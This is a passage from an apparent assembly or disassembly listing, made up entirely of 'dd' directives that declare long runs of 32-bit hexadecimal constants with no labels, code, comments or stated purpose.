0E00ABAECh dd 8011A4C6h, 50DD0B04h, 7C21EE65h, 0BE040FD9h, 0CD371003h dd 51A0243Dh, 0F8304380h, 8890FCFh, 803900F1h, 0FE24524h dd 0E1ADD3h, 9E386AEBh, 0DEC5CB2Eh, 5F35DB72h, 4809C198h dd 0D0DC0412h, 92472940h, 0BF4B4CB5h, 426AC8B0h, 44C21CC7h dd 9C449520h, 23008370h, 0FEBCB7C3h, 1FA27C5h, 0EE1FD24Ch dd 3CB3A31Dh, 3DEF0ABCh, 790E88ACh, 0AE358396h, 856B4D8h dd 30B0A158h, 50F248Bh, 7FCB1C4h, 67C00CBBh, 14341D88h dd 0E4022801h, 770C22EFh, 31AC0C10h, 89A8D400h, 0C026ADFFh dd 8168C833h, 6D409E64h, 0B9C552BAh, 653058CFh, 0CEC427E9h dd 0A881C0ACh, 10316034h, 57C009h, 5815847Eh, 1A9C8E0Ch dd 0A402A670h, 735CB52Ah, 2C92D754h, 4027CC84h, 470D0914h dd 8F6B06EEh, 0D80861BDh, 7ACA7920h, 8B79C0EDh, 0F7810689h dd 0D9569501h, 1982B3CBh, 41C67C5Dh, 10C8D1Ch, 0B744A8BCh dd 80E4E853h, 3739434h, 2DCE029h, 99F98439h, 74E01286h dd 0D7884F98h, 4BB888B5h, 0D04595h, 8EE94099h, 0CB007EECh dd 0D9F758D8h, 39EBDh, 0A211E8A6h, 0EEB42070h, 790FBA25h dd 0FB3D00FCh, 0E644DD91h, 62D07F03h, 21014E39h, 0F89789C8h dd 40038CD1h, 97A4216Eh, 88CC2B52h, 0A210E1B1h, 0F5009031h dd 32F3A6E4h, 2D8420h, 0BE7B0411h, 0D83E3528h, 0B2BDDA7Ah dd 0CA324090h, 2BB0950h, 0C446F466h, 0ACFD1D3Dh, 0B9624043h dd 24202A4Dh, 0F4EC16DCh, 495E4424h, 6A01B4A7h, 0CE99C381h dd 0E2808996h, 0C04C745Bh, 8ADBF8B5h, 0CB16A716h, 0B3C6A020h dd 40ACBC0Eh, 0C1789AB1h, 0DA403Bh, 201E5C7Ch, 16969105h dd 950EFCAh, 3C191B08h, 4899140Fh, 213C8C2Bh, 0FC5E90C4h dd 42149CF8h, 43047430h, 0BA743A78h, 5C8B7C0Bh, 712B40A0h dd 0E80002F2h, 22749ECFh, 2F1879EDh, 48139B05h, 93C699F0h dd 0E026421Eh, 50DCA542h, 11F0995Dh, 34512BEEh, 6C1D5300h dd 77010550h, 0CBA04B1h, 0C00F3F81h, 0C82ADDA4h, 44472605h dd 0A8D2E8h, 0D8DCF714h, 2FFEDC0h, 5D8A2C3Fh, 19E76010h dd 0AA03DD74h, 0BFF0912Bh, 52C880EEh, 0CA67405h, 0D5759B66h dd 428659A8h, 316E000Ch, 11404968h, 514C0BA5h, 0AC9134CCh dd 5929AFCDh, 0D5BA8D7Ch, 0DCF6F089h, 8BA4280Eh, 0D0248063h dd 0C4781Bh, 4799DFA6h, 1C58954Ah, 0CC723303h, 996B86C3h dd 60F0CEA0h, 8C160A01h, 2CC5D13h, 2C8FC409h, 941CCCC8h dd 88663644h, 700889Eh, 6DD825CFh, 0A027093Eh, 83BF089Ch dd 8F0CA8BDh, 798C20B7h, 374DA9Eh, 0C0F64D5Eh, 0A83A0DC5h dd 4E800D3h, 93F882E4h, 0B599B8C6h, 214CC8C6h, 889D21B0h dd 202843B0h, 7439F726h, 7B7E588h, 49C1BA21h, 11673099h dd 9446A509h, 0A1A0F059h, 1EFD2FE8h, 0CBB0202Ah, 650093E9h dd 1137C2A4h, 2A734F7Ch, 43883628h, 25492218h, 782F4D2Dh dd 0ECFC4689h, 0F759A50h, 0ED53B872h, 0F3A73CEEh, 0FF70245h dd 3811D843h, 27263144h, 4E540898h, 5F717005h, 150528FDh dd 0C1A16992h, 0CCE207Ch, 74444012h, 0CF11C98h, 6CEEBF79h dd 0A90B6277h, 0ADA575h, 0D7F12617h, 0C2400CBh, 84884B33h dd 0D05E9044h, 0C700E4A6h, 27974AD5h, 0F6015878h, 2AA0B9EBh dd 30307983h, 61767Bh, 0C2EC86B7h, 76527525h, 482CD4FEh dd 99A77898h, 8A3F9E6Ch, 41B516BCh, 2780BCFDh, 0E37E8996h dd 9FD9450Bh, 0F9D09848h, 4038BF66h, 7E00A1EEh, 1A020321h dd 0EC541Bh, 0EABB1CC0h, 84B96950h, 2E2C7248h, 0E7701031h dd 2F6B09ABh, 0ECA2C189h, 57D1BEh, 9FCADDFCh, 0BA37054Eh dd 8B727EFDh, 3B2F129Ch, 6864F0F2h, 46DB3221h, 40E49C60h dd 0D98D1918h, 1CFE0100h, 590CD623h, 916B01E1h, 0F7A7C75Ah dd 8C5034AFh, 532D98A8h, 84AC9491h, 0B464B884h, 10D614DDh dd 2F044226h, 0DC2AE001h, 8F7F480h, 11FD0099h, 0B7A081A7h dd 0F24C19E8h, 0B0C12C41h, 28FCA492h, 1880EC80h, 0BF046F40h dd 21AC2AEDh, 0E86EA9C0h, 2D9C2626h, 0C8DD47C8h, 28261344h dd 0D986FA17h, 0D349BC44h, 5E80A213h, 0B2E0B027h, 17C416F9h dd 0C28953h, 88751481h, 0A76358Ah, 94DA3Dh, 159AF817h dd 0CDB305h, 0E9472071h, 4B98A267h, 2B0DA000h, 46FDE330h dd 2825FA95h, 43CC34FBh, 3EA0111Dh, 6D11DC58h, 3AE93AD0h dd 183EC0h, 0A6F12A5Eh, 30834F4h, 0A86A6174h, 0C4B824A0h dd 0AF008BC5h, 3D905C4Ch, 4D9ED509h, 42791C19h, 0B54D2293h dd 8DC82090h, 0E5005378h, 0BF9A90B2h, 50D7EEB5h, 5E54F849h dd 5C3C0EDAh, 229D9602h, 8821A480h, 75260835h, 7A60105Eh dd 2C54A16Ch, 64D89344h, 214490Eh, 20F08E68h, 27075890h dd 0B8000C90h, 0C39FA61Dh, 589BAFA7h, 5F021C71h, 0DB81E449h dd 0DB61840h, 1802C330h, 3EADF5BAh, 420FC508h, 940973E6h dd 0B235FF80h, 804B43A6h, 1A60B880h, 512E31F8h, 523AC9F1h dd 66199C8Ch, 9B88B508h, 0D7E431h, 0A282EB42h, 0BAF68C9Fh dd 0FA05D974h, 551FDAA6h, 0CDF1D804h, 0BC2CD310h, 61496400h dd 20E2D7F9h, 17FE1568h, 0EF134670h, 0C44288FDh, 24CF8345h dd 0CC18C4DDh, 4EBF0DD8h, 0E51E0C8h, 0BA7D780Eh, 0B610C324h dd 1E470260h, 40963BD8h, 40A0BBh, 7E67828Fh, 57080A34h dd 0F6CAC8A3h, 0B85E9523h, 987FB4h, 12729FBAh, 682CC5C3h dd 84B89D17h, 6CA04CB8h dd 3F249BA8h, 5510BC72h, 0B88909C8h, 0D8454Ah, 2997D612h dd 0C05BD257h, 0A2C85602h, 8840C1CDh, 0B0DBCEh, 20A4E555h dd 811CFA39h, 0D6000974h, 2F5F9F47h, 0A11D0572h, 0FA15E8BBh dd 0C721D500h, 0A1400B1Bh, 0F10CC5A4h, 5A20F40h, 76CAE335h dd 41E49185h, 0F81800CFh, 0ACAC99CCh, 0B8A404B5h, 0B06CCC90h dd 0CF540C84h, 0C1682907h, 42EB4586h, 753168F0h, 0CBF91810h dd 118A34A8h, 0A1A42Ch, 249C170Bh, 537CD14h, 11CF644h dd 4D645750h, 9C21ACBAh, 918ABE0h, 6EF2DD06h, 3200F8E4h dd 65FA4F7Eh, 1298A037h, 489C3A8h, 13F88600h, 9472A8A1h dd 32369816h, 53E0886Ch, 0B17335CDh, 906EA400h, 5CDC27C8h dd 0FC98588Ah, 6C4A8670h, 0FEC020A9h, 0D5BB6B9Fh, 85E51509h dd 51BCFC92h, 827112ABh, 1C72594h, 222B4103h, 0A0F28ED0h dd 238EC4EAh, 0A87C0Ch, 0D9ACDC0Bh, 0EE29117Ah, 7291A509h dd 1D68D95Ch, 4DB8458Ah, 88C8B8BFh, 4EDE413Bh, 0D56420A4h dd 0E045E4A6h, 39F0083Eh, 0BA35F940h, 0A470B1D7h, 0D17C1898h dd 90B7502Dh, 2520E990h, 3C4C354Ch, 3DA5541Eh, 0C0A2C00h dd 1394DD26h, 44375F24h, 2292F850h, 45262259h, 0F4A8397Dh dd 0E8186994h, 74FE9E10h, 292B3B00h, 269C8FBBh, 93181CA8h dd 57EB80C4h, 722A777Fh, 21D89D4Dh, 5E59915Fh, 265D420h dd 66DA5C63h, 33E3A303h, 62D8B795h, 16025E21h, 0E92CA95Dh dd 0F628413Dh, 576A3810h, 0AD46E512h, 0E86334B5h, 0DDBF0078h dd 78D5C95h, 0B27EB168h, 0BB09D112h, 0BDE97C04h, 2E0C3025h dd 0ACA6C84Dh, 32E0197Ch, 7C890496h, 941057D5h, 0B3035558h dd 0ACC9F772h, 0F519993h, 171B2060h, 0A0B5F048h, 0C44BBA20h dd 194D7422h, 0C4209BCh, 0A42E19A1h, 801F9C19h, 0BB468700h dd 0EF1A882Dh, 0B8E7038h, 197F5A40h, 0D800CC57h, 40290AF6h dd 2F02AB72h, 1851C371h, 852AE44h, 0A180C634h, 0E6C04484h dd 70109CAFh, 0BB4EBA2Fh, 78048Ah, 0D6EA6D8Eh, 0C59B51EFh dd 0E716B900h, 43EE2FADh, 52C31CE0h, 0EA2A0272h, 9B7D5727h dd 4B51EB18h, 2334A649h, 70F1274Dh, 18AD2F44h, 9051E7C3h dd 3D59B8C0h, 0D871CE0Eh, 0D163C04Bh, 181CFA89h, 0E89ECBACh dd 5982D69Ch, 0B7A00074h, 2142A4CEh, 1F12E600h, 7774FE5Ah dd 0C7B00DDh, 2E98078Bh, 0B496D6F4h, 82FD1D42h, 20C4C18Ch dd 0FE92DBB8h, 12B59C39h, 743026A1h, 3BB77642h, 4C00BD68h dd 9A856CD7h, 8A01372Ch, 0C1A756E8h, 50208FAFh, 384486EDh dd 0A3C25BBAh, 2B71842Ch, 0FDF5E8A1h, 105F3F12h, 32E6D4h dd 0ED6BF138h, 0FF9E77E8h, 17CE49Dh, 0BF24488Eh, 80549F7Dh dd 4B8BE1CAh, 9631858h, 266AE064h, 7140947Eh, 0E5B0C73h dd 8ADA8FD9h, 65D0FA60h, 37174BB6h, 2163A22h, 900088Ah dd 48725FA4h, 10B5EF20h, 78290h, 2EA05CBh, 3B6D60F0h, 9852E42Dh dd 0EDAD8D0h, 7BFCB073h, 0EDA7A620h, 1F0EF979h, 644D16CFh dd 6CC107E4h, 5E089360h, 9A4014B1h, 0E5B078Ah, 6289926Dh dd 0C0EC0912h, 0F626F0C0h, 0C868A4B9h, 0A9C8D510h, 0F9CCC442h dd 0B9148568h, 9394B890h, 0A525FC04h, 3125D810h, 11C19038h dd 0A54E7503h, 80D5AE2Ch, 0F9EDADDh, 0C47A4B2Dh, 48302356h dd 0D066AEC5h, 12E14398h, 77BE4401h, 0BC66219Ch, 3FD26007h dd 0D694961Eh, 72FFCF01h, 0A090B9C3h, 18212ED0h, 32A55300h dd 36D2A8h, 60EEBE9Eh, 72E1DF87h, 0F47E88A2h, 0CC6E9C60h dd 0FF2602E3h, 0A36F9F52h, 1069E4E1h, 0BAA1E5BAh, 54DD5434h dd 94340FBh, 19987548h, 0C3389E8Ah, 401AE810h, 460D0216h dd 0D2087C44h, 5B00D8E6h, 8AFE358Bh, 807D6A7Ch, 0E3457705h dd 0B0C5B472h, 574E08A2h, 0A024ACBCh, 12F084h, 82215E07h dd 0DD163563h, 0E6576917h, 5A9B804h, 12102521h, 4080F949h dd 823466FAh, 0A816F200h, 0B6680B13h, 2534B847h, 70769D49h dd 3FA1480h, 0A334AFBh, 27CF43D6h, 268693F4h, 0A34B1078h dd 0B4CC9489h, 0ADFC0014h, 0E104629Ch, 0C0582AFh, 1C36C218h dd 0B1283CECh, 0C13A0018h, 0F0423363h, 2602354Ah, 9C93A6A7h dd 16C15DADh, 10643808h, 0A59D0605h, 0CD00A078h, 0F10E0FBFh dd 2DB3A2h, 4846984Ah, 0F795A6A8h, 0D4214D00h, 7ED6EE0Ch dd 0AA930194h, 0DF85B7A5h, 5ED7D844h, 0B38CC700h, 82925AE6h dd 0B1790093h, 0E26242CFh, 0A500292Dh, 0AA5652E3h, 768820Dh dd 0DC26E81Dh, 0AEBE30F2h, 7800CB95h, 458918A6h, 315B5F21h dd 4AA0297Bh, 2D088716h, 0C4C0BFEEh, 74DCB37h, 83B5F9A5h dd 3254F0DEh, 0D3003E49h, 0DD9CAE4Ah, 0CC98E40h, 1FA6D156h dd 0E3064941h, 315162B5h, 0CF2830D0h, 44BF7B18h, 94EFCD00h dd 934A5A77h, 117E005Ch, 0A61CDAB0h, 0C8C3E78Bh, 327C0C8h dd 8060999h, 70103198h, 0AE088D48h, 2980E754h, 32CCA9D1h dd 10D56FB9h, 6C54C880h, 253E5D63h, 744B80C1h, 420B8534h dd 0B56D007Dh, 13DD6CA9h, 576440D7h, 2220BFC0h, 0CF0CF4D2h dd 8924C029h, 0CAFC99h, 312AA962h, 5BEAA65Eh, 4225C208h dd 62E18764h, 7DD7509Bh, 501D242Ch, 5F0A359Ah, 1C06245Ch dd 31D1A4h, 56FB15D4h, 0AA92F06Eh, 8F349A01h, 5367D212h dd 0BCE042E9h, 0A5510063h, 0F92C1625h, 0AC02E3B2h, 0D0EFB0C7h dd 0D926C089h, 42F9C2DFh, 8C909C1Ch, 0A600EE31h, 25BAAEA1h dd 6082DD18h, 15EC2932h, 0C57C5D50h, 41C0DBE8h, 9CAFA3Ch dd 0EEB01249h, 28145FDFh, 18574490h, 38CC5128h, 0F91D4A22h dd 4C52FCh, 0E340908Fh, 0C7EB7289h, 48AB9C18h, 44F8C850h dd 5242B14Dh, 0BFC4E53Ch, 61801674h, 1A1926ACh, 140F03F3h dd 80872A4Fh, 8B90FC84h, 0F40A73F6h, 0A8971DA7h, 0BA06CC68h dd 71F0C78Ch, 428CA6DEh, 695F07A4h, 40EFC2EBh, 201563E8h dd 0EE4609B2h, 0A58AAB37h, 7F93EEAh, 3538336Ah, 412A96D2h dd 85C3648h, 91B6CFA9h, 66CD053Eh, 0B85899EEh, 0C97F5B68h dd 90104AD1h, 5502CBBFh, 0A4DB86C8h, 0DABFC13Bh, 28DC8441h dd 3AAB4210h, 11D1B931h, 58E821ECh, 77183B3Ch, 76862200h dd 0C2FAA689h, 9CACE35Bh, 193A4861h, 0D122D252h, 215CA1A7h dd 91803370h, 0D228D832h, 0C4A420A6h, 34E8DD22h, 8C1A79ABh dd 0CD887114h, 8007F142h, 0BDC10CABh, 8500B6E4h, 967CEA17h dd 264EC89h, 9A51BF8Fh, 9848779Bh, 63897112h, 87FF5510h dd 86EECD0Eh, 396CE0B8h, 542E366Fh, 0F23054A1h, 901C9847h dd 0A028A198h, 2C6461D2h, 1C88CC0Ch, 0F46952A9h, 0C020527Dh dd 71501822h, 68001FE9h, 91AD5428h, 31E44E4Fh, 1AA88A41h dd 8C0805D0h, 0F0BF9CD7h, 80DBB449h, 85B15201h, 2F0BB5F4h dd 26494C8Ch, 941EA261h, 7C032CFBh, 144A41h, 0A55DEE19h dd 98CD348Dh, 4FB82400h, 0C09095FFh, 0C4737021h, 8C51A624h dd 81C728D8h, 0E9D1A9AAh, 0F09E4DF1h, 0A308E159h, 4851475Eh dd 98F26289h, 185B9190h, 8183049h, 33A4831h, 0A7D2148Ch dd 5A42868Ch, 0E60B0031h, 62A5C2C6h, 691EF650h, 0D9011E52h dd 8C47CBD2h, 7F0AC0h, 0E5438B7Dh, 0C845C708h, 8399023Bh dd 719A841Fh, 0E320074Bh, 4D82FE4Ch, 0BE63F130h, 5CC40039h dd 0AE1C144Fh, 1574B7h, 9F687779h, 4CEBA353h, 7480222h dd 74FE492Bh, 8E1D290h, 5DBAC0D7h, 46CC3083h, 146BC951h dd 4AB35000h, 3B950749h, 8E0F0081h, 42D10C99h, 0FF035DA9h dd 0CC2A747Eh dd 0BB39004Ch, 0DC21B1A7h, 0E8FE7F57h, 19D90939h, 0E3903A18h dd 0A488580Ch, 5DC9CEF6h, 25647621h, 0E9B8201Eh, 92F18400h dd 6D755591h, 72530099h, 9A126807h, 6630EBABh, 2E7F7889h dd 0A948005Fh, 0E060D302h, 0B90117A5h, 0E88BD45Ah, 7FC08A3h dd 804122FEh, 496E9A18h, 0C08266B9h, 17E63749h, 871D01E8h dd 50394FE2h, 5B446F18h, 9B66309Fh, 40717B19h, 0AB5E9660h dd 78637C3h, 3236C174h, 1AA2A15Dh, 4428F80Ah, 698E6630h dd 0ECF349h, 0B9B642D3h, 0D43424A4h, 3D86C714h, 0A55A01FFh dd 8B7C6A44h, 3879C9D0h, 0B885E107h, 9AD6C01h, 2C0CF2D8h dd 62A8C51h, 0DF00A4E4h, 0FC3B02CDh, 0EEB48464h, 286A63BBh dd 31008369h, 60B67522h, 944C3E9h, 9ADCFEE5h, 0DE072E03h dd 7E706910h, 18CD084h, 4E659BDDh, 0C0309C54h, 78753Ch dd 0C48FD3F9h, 0F35D84C0h, 2D1C197Bh, 0D1D23A66h, 9A7E7801h dd 2047AB68h, 7C458038h, 14213FCFh, 0C0413600h, 49E1AA46h dd 0B7698A6h, 7F3C87E4h, 13CDD481h, 84D19169h, 2301023Ch dd 200C5540h, 0B9CCE0B8h, 73A06748h, 299FA744h, 294018Ch dd 2D3631D8h, 0D141C840h, 0CC034484h, 76394460h, 10E4FD6h dd 342B9E4Ch, 415759C9h, 0B80BE8h, 7AE0CDDh, 34F33BB6h dd 0A12D80F4h, 4D00D188h, 0AA73FE1Dh, 0F53F38h, 7DD29E5Fh dd 5BAE250Ch, 0FEF2570Ah, 1942E485h, 9E4323E5h, 87C48A83h dd 0B4B9FC98h, 31C21F15h, 60E2258h, 2D727743h, 33ED070h dd 8666083Bh, 3F8900E3h, 69ECE86Ch, 83FD27Eh, 60ABA8FBh dd 416E9B18h, 95BC8F1h, 769E42F3h, 5237DC02h, 0B4126411h dd 4B7CC83h, 5C996922h, 673EBD34h, 0F69EC300h, 1B408715h dd 4CCC4336h, 0DC8F960h, 0F84F0FC9h, 0DE6CD60Ch, 34A93B1Ch dd 6D9A107Bh, 0A0BC914Eh, 7420068h, 8F92AF2Eh, 1700D340h dd 10A9E4Fh, 6D5C762h, 3B69DC8Ch, 0F400E1A7h, 6F83BBFBh dd 231C09Dh, 0FE9E0AC9h, 0A0A0E8B8h, 53A1436Ch, 0E590D800h dd 0AEC73C0Bh, 69640056h, 5D2A46F6h, 660FC9D2h, 809FA4BAh dd 6E9D4862h, 0A97400F3h, 98F86A65h, 3E1CF7CCh, 82FCEAB9h dd 6372648Eh, 0A683C068h, 0C64100A5h, 94435653h, 0D1C09F66h dd 4558C38Dh, 50750067h, 30E039A4h, 90002D5h, 77996411h dd 60A5D647h, 0F585B1ECh, 0A900C836h, 440FBAD0h, 249B7348h dd 62785A68h, 6E24E50Bh, 42CC1091h, 9BC2C454h, 67B49083h dd 0CD76887Eh, 0A3170D00h, 822B6AEDh, 7701308h, 64A005C0h dd 720C0075h, 0AF499805h, 0C3DCAC51h, 45E427BCh, 8C05085Fh dd 1D980482h, 86E069A0h, 85800A13h, 9F3D0B3Eh, 0A51F0CE6h dd 7C03B9EAh, 74360186h, 0CC4AFD73h, 0E410204Fh, 894B6388h dd 1083266h, 818EACEFh, 90ECC2A2h, 818D6038h, 0E11CA60Ch dd 7E37DA02h, 81CE0D70h, 57B8C808h, 45008463h, 0EDA4D3F6h dd 3007CA9h, 15593791h, 0F0DBE30h, 2DDC45ADh, 0DE748140h dd 6700FE26h, 0EE64082Fh, 0E1CD0Dh, 0A9B8E977h, 74E45654h dd 0D2C3FE00h, 0CC2F049Eh, 2169CE50h, 1CAE3E80h, 0AB007842h dd 0E07BC03Dh, 0E4DEF7C9h, 0BCF44CE4h, 9DEC4929h, 0DA242107h dd 3A385200h, 1EBA0BC9h, 0C327A6FAh, 6457DA43h, 0DD0C0385h dd 3900F7A4h, 0EE798420h, 1C9B2F2Ch, 463B3D2h, 0C7AF86D9h dd 2E1173A9h, 669744F8h, 0FA718560h, 0D939B9h, 65DABEBAh dd 0E58E45F5h, 20238C30h, 308E454h, 11642CD6h, 0A9BA3104h dd 23A0F041h, 45FF1114h, 0C0F22B04h, 65141E8Ch, 5A9F0034h dd 439B0117h, 6CBB1C9Dh, 0CB59433Dh, 5072F230h, 67034F12h dd 2A4B6032h, 7C821138h, 38B16C74h, 0EB1D2340h, 2BF6003Dh dd 0BEF82664h, 460CD40Bh, 2AF2CC10h, 87A05E3h, 815345C9h dd 30904384h, 67303DECh, 0F979498Ah, 0F0F700EDh, 4C707C7Ah dd 66902C7Bh, 4445301h, 1FF60502h, 78584C22h, 0BC00F122h dd 144ED53Ch, 2A083B4h, 8CD274F4h, 0A8669F24h, 9DC0E703h dd 0B0F01F67h, 0B5936Eh, 6C58DC4Ch, 0C36F5A32h, 22DD4700h dd 6BC01864h, 34C2444h, 71B74078h, 2831ABDAh, 0F2A528CBh dd 567E8180h, 58E63CF1h, 63B01200h, 0F29F9904h, 0D8C22EFh dd 7C0440B0h, 4B699B50h, 840E408Ch, 43384900h, 3D4845DEh dd 5E67299Bh, 8711B8h, 74F2F6D9h, 7C103970h, 0CC770C5Dh dd 85297E21h, 3B6F688h, 0E0FA89F5h, 0E990CF0Ah, 6225C81Eh dd 0D5900183h, 618048CDh, 8C60A8DEh, 1A03C0A4h, 2D1D13EFh dd 2EA0A6E2h, 22A07C4Fh, 0FDC2C18h, 0FFC903D9h, 8194DB6Bh dd 29CBF254h, 8C380700h, 0C30392Dh, 1BB43B2h, 89E10D4h dd 28A3C1F1h, 54E2294h, 3C471F8Eh, 2211805Ah, 0BA00BD63h dd 0E9D2B09Ah, 9132C625h, 0EAA40800h, 0FA558B00h, 614DBED9h dd 0DB71E09Bh, 0C92C4863h, 0BE6E5312h, 2FD0EB00h, 2B12818h dd 0D8C6BDFDh, 0C8827FB6h, 76207E6Ch, 60EC0108h, 0C9DFA0B1h dd 764A902h, 34CD2B78h, 0E8226ECh, 1C3FFBDAh, 0B1C55A00h dd 0A301197Ch, 0D15E4A89h, 0A980EBA4h, 5D6C1E29h, 2A095BF1h dd 889E442Bh, 7080FCA6h, 0B922EDBEh, 0CD8D0094h, 71C3E0F2h dd 8200D489h, 6F7DF9C9h, 5C210C5Dh, 0A1315467h, 50C6F2B1h dd 0F767FFCh, 8C0DA00Dh, 0C2D378ABh, 0C214828Dh, 66182D85h dd 0FECF008Ch, 7747FFF2h, 4DC70033h, 3FC6BCB2h, 695C6354h dd 44267737h, 2030D5FDh, 484FDC56h, 0B3828C08h, 0E444698Eh dd 0EE3EBC03h, 0D055E2DFh, 2289235h, 2417CC8Ch, 10E9E332h dd 10CC04B3h, 7A9C240Ch, 71C600A1h, 8CDB4218h, 82F26100h dd 86F6347Fh, 0A0ADF464h, 1465CCDh, 0FDE32AAAh, 80E9A5F2h dd 0C61071D1h, 30E7429Bh, 690231Ah, 3C300748h, 0B3A6A181h dd 0FD9F0443h, 819E5CA8h, 0F690CD08h, 5EDDC848h, 344C3B1Eh dd 0E7FF450Eh, 40CF4443h, 7E914684h, 0E1B22406h, 0BE7D0438h dd 66A88265h, 5F7A085Ah, 7A68A301h, 4BC84952h, 0FDDA424h dd 9CB78CF5h, 564ECCC4h, 0C1370Fh, 0DC5C5386h, 0BB1B3998h dd 65B9D483h, 68109E01h, 0F208954Ah, 9A48DC3h, 0CBFAC022h dd 0EA005EECh, 0B0047548h, 317C0DC5h, 0C6C844DFh, 32A8604Ah dd 889E4000h, 0A9C2F3CBh, 9B49C88Ch, 39846E80h, 0A48B3Dh dd 9E560145h, 0FB35AE2Ah, 40661B1Ah, 47848429h, 0C5E28F40h dd 0DD07C74Eh, 3E39495Dh, 817744E3h, 0F424C001h, 44A498E8h dd 0D8A4A486h, 5AB6D700h, 0A6653CBh, 0C861828Ah, 69D811E4h dd 0CE4C6C72h, 80CFD11Eh, 796B43BAh, 37248019h, 7B19B4D5h dd 0A039CDF0h, 0FA6D100h, 0CF7116F1h, 41956900h, 763CFA90h dd 7CA35C87h, 13E36811h, 0B4284C64h, 85A80E6Dh, 0F4A06A3Ah dd 0CC5DCB04h, 9F29A060h, 4CF0FDEh, 7780642h, 7E30883Ah dd 7741A506h, 91C96466h, 46A88004h, 6099AE0Fh, 0B9C0AB61h dd 0E070A108h, 75D28888h, 0F6FD062Ch, 949E2401h, 1C64294Dh dd 0D5AF4566h, 0E631808Dh, 4A2D8147h, 0CD4E03EBh, 0E0F6D392h dd 7E7C48F0h, 0A820B89Bh, 1879BA20h, 99EDA576h, 770FFE81h dd 81B08345h, 0ACBC067h, 227A7C32h, 471C44CDh, 3844B4EBh dd 40A205D7h, 950A4C0Ah, 47F844F0h, 3CE06ECAh, 38AC2620h dd 33804073h, 0BEF9DB09h, 0E1001116h, 6665C727h, 0E2AB70BCh dd 36EAA6h, 0E2420339h, 9DBEFE8Ch, 21B4F001h, 88D70EE4h dd 8C694850h, 6AEC0BB1h, 0DC8D1D12h, 0C0F44019h, 0E4A9A79h dd 5D8EF420h, 0DEF473h dd 6467EA99h, 0CF902B05h, 0D9A69505h, 8453A39h, 0D08141B9h dd 0CB11F606h, 8F618C4Dh, 3EADA08h, 0CE84F371h, 0AD0AFDFh dd 6E0222DBh, 88BFDE7Dh, 0EC7269h, 61789D7Ch, 0C1AF02CBh dd 0B81F9502h, 0C4058C0Eh, 99F27C68h, 0A57505E8h, 0C286C7E7h dd 0F466FFF3h, 1B1D1CA0h, 72EBA212h, 0E6DD7C01h, 783347FBh dd 67799701h, 43919E68h, 1E077D0h, 4924E74h, 0CA00E3F8h dd 0DDD39F7h, 333E0CDh, 40C863F8h, 2A3442Dh, 40F7A2h, 0C60539B7h dd 42A80D62h, 6AC08043h, 0A1AB9080h, 0BB6C3A57h, 0C9EFA418h dd 0B200406Dh, 82EDFF3h, 1380224Bh, 23689BAEh, 0F7909FF8h dd 0FD0E3D99h, 4E9EE5A3h, 440D826h, 0E884F5E7h, 101E9A70h dd 5C032CC4h, 0B545DEC7h, 2CCDB030h, 6324386Ch, 1BDDA389h dd 8188DB85h, 27E9CE8h, 0CD40E1DCh, 316C8830h, 2A783346h dd 16720C16h, 58EDC224h, 6FB4D854h, 9001DEF2h, 2C7247C3h dd 1C311463h, 24F176C5h, 7CE2E4CFh, 0C20A425h, 899D3F57h dd 37E99C00h, 3DB03C05h, 0A14C065h, 6420A019h, 4E7FC8A0h dd 0FE34B101h, 427160A9h, 3D2FECh, 0E81A358Fh, 0A58DE145h dd 0F1849650h, 0CCBCA384h, 0FAC20C40h, 23006F61h, 0EF07CD9Eh dd 9CC0FEA3h, 0ABD881CCh, 72E4F50Ah, 452268h, 144B7A5Ah dd 443B3169h, 5941F094h, 0C3CC22B4h, 40070945h, 80FDA62Ch dd 3A67F1B2h, 8C8D517Ah, 0D8261C28h, 3D15050h, 7A979548h dd 0EA6A3314h, 0E97577BBh, 0D0826D28h, 2551E820h, 20206743h dd 502D03D9h, 9A9BDC02h, 64A4D671h, 2FDE3858h, 3426E9Dh dd 4C13B5ECh, 29842085h, 22DA844h, 0B4FC8789h, 1F23E37h dd 8F84922Fh, 20050CC3h, 236F4A9Ah, 0E0818000h, 66918841h dd 2E39BC8Ch, 87214F83h, 68A8CD85h, 6A008614h, 0FEE4E098h dd 3ED9E6D2h, 3E9205DEh, 76BC02A7h, 0B0721C66h, 0B0486D22h dd 1BB20A40h, 35C044Ch, 816B662Ch, 0F8DC1ECDh, 8C81F522h dd 34791087h, 72EECFh, 0FB3385E9h, 0D39E4117h, 0C6C5300h dd 0C6438A06h, 2A746Dh, 762D7977h, 0E126B901h, 0BFE8B8E6h dd 1D897D00h, 0A580F4AFh, 9F54006Fh, 9052A25h, 87F8B155h dd 85301D01h, 6FAA3B2h, 700DF0h, 0B998623Ch, 3AEDE6ECh dd 0AF28F760h, 0CF58D9F0h, 831D8650h, 0ACBEE184h, 113D13F0h dd 810D7F3Ah, 0EC8E94C1h, 399FFC39h, 781090C5h, 0F72CBD76h dd 2931820Ch, 708CB32h, 30B0ED20h, 0CAA1BA36h, 7C00898Dh dd 0D38509F9h, 64F1977h, 67F6AD93h, 1D285915h, 39003898h dd 801155D2h, 1A0A71h, 6FEDE834h, 655CE794h, 0E247F907h dd 0BFC09E3Ah, 0CF97F418h, 9F031438h, 0DAD82E7Bh, 90F1AE5h dd 80B51756h, 0DD168369h, 76950C97h, 9079124Dh, 0EFB9D00h dd 1110D4CAh, 314E8EAh, 0B47C46EEh, 0D103E970h, 0F0AB623h dd 0FAE19862h, 4BC03F41h, 0F8B08899h, 20F209E3h, 867F13F2h dd 542AD100h, 5227CF2Fh, 0AC0A0349h, 4AAFA98Ch, 0FC8F15F0h dd 54E834A8h, 0B1CD9B00h, 33C4C82Ah, 868D1CB5h, 98C7D463h dd 51740F02h, 0CEC0A5E2h, 0D6603593h, 0D7EAB18h, 0CCDA505Fh dd 89B76736h, 65D39007h, 0CC784284h, 0E0D8E400h, 96FB7491h dd 0C0C35295h, 7500C522h, 0F89E448Ah, 38D040h, 1BD10BCh dd 651C8DD2h, 3EB1B60Ah, 590094B7h, 0B4E8691Dh, 359C1D31h dd 0E3990160h, 47CCA1FBh, 59FF76D0h, 0C000E4EEh, 935FE57Ah dd 293CF54Dh, 8058B047h, 0F805844Bh, 20156B6h, 89B39A3h dd 2184B453h, 948BE330h, 0DADC338Ch, 4386EFA0h, 88A2C8ECh dd 0AA0D8460h, 309D6C29h, 90FEFC00h, 2915DDCh, 0EE801CA0h dd 48446A88h, 0BC7EBE24h, 6D697C41h, 0E7F07840h, 49BF6137h dd 0C19A3F73h, 0A468704Eh, 0C9446400h, 7AB92AAEh, 9809137h dd 5E00D912h, 9AB501E6h, 0E908C100h, 87AE6569h, 9FB7183Dh dd 78377190h, 85FE700h, 2A07EB72h, 